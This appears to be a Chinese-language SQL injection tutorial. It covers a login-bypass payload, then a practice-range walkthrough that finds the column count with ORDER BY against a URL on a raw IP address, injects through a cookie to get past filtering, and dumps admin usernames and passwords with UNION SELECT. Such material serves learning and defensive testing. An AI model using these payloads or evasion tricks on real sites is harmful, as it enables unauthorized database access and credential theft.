1 注入原理
这里不再赘述了,无非就是自己写sql语句植入到对方数据库。
我们以登录为例,用户登录时后台会执行SQL语句如下:
select * from auth_user where user_name = '${paramter1}' and password = '${paramter2}'
这时如果我们前台传入到后台的参数是以下情况时:
${paramter1}=admin
${paramter2}=' or true or '
那么后台就会执行
select * from auth_user where user_name='admin' password =' ' or true or ' ' ;
原本不能查出记录(通过验证)的情况下,通过SQL的注入达到了黑客的目的。
以上为SQL注入原理,通过SQL注入可以达到,DB的安装目录、DB管理员密码查看等等目的,所以我们在写代码时要养成良好习惯。
2 如何获取管理员用户名&密码
3 关于注入方式的探索
3.1 前言
首先我们可以使用 and 1=2 -1=-1 或修改id等方式找到注入点,但是这里我们不采用这种方式,因为对于一般的网站,它通常会被拦截。
这里我们采用order by语句 和 联合查询直接获取用户名和密码(md5加密的)。
3.2 演示
这是靶场
我们定位到**?id=**这个位置,当然也可以关注注册登录等可能和数据库有联系的地方。
发现你用 and1=1是会被拦截的 此时你可以通过burp获取他的cookie的方式 因为有些网站cookie可能也是一个注入点 假如拦截到了cookie 然后我们f12或者插件把cookie修改成id=170发现一样能转到对应界面 那么你就可以通过修改cookie进行注入 但是别忘了取消哦~
3.3 用order by找到字段数
http://59.63.200.79:8004/shownews.asp?id=170%20order%20by%2010
发现值为10的时候正常
值为11的时候数据库出错 那么确定这个id就是注入点的同时,也能确定表里有10个字段。
3.4 联合查询
假设我们已经知道有admin这个表,可以sqlmap去查一下哦。
上个靶子 发现他会拦截查询语句 换一个
添加链接描述
用上述方法查到 字段为2
union select 1,2 from admin
这样就可以的到返回点
然后修改1或者2位字段名 就可以在返回点位置发现用户名和密码了。
是这样滴。
+------------+----------+
| password | username |
+------------+----------+
| hellohack | admin |
| zkaqbanban | ppt领取微信 |
+------------+----------+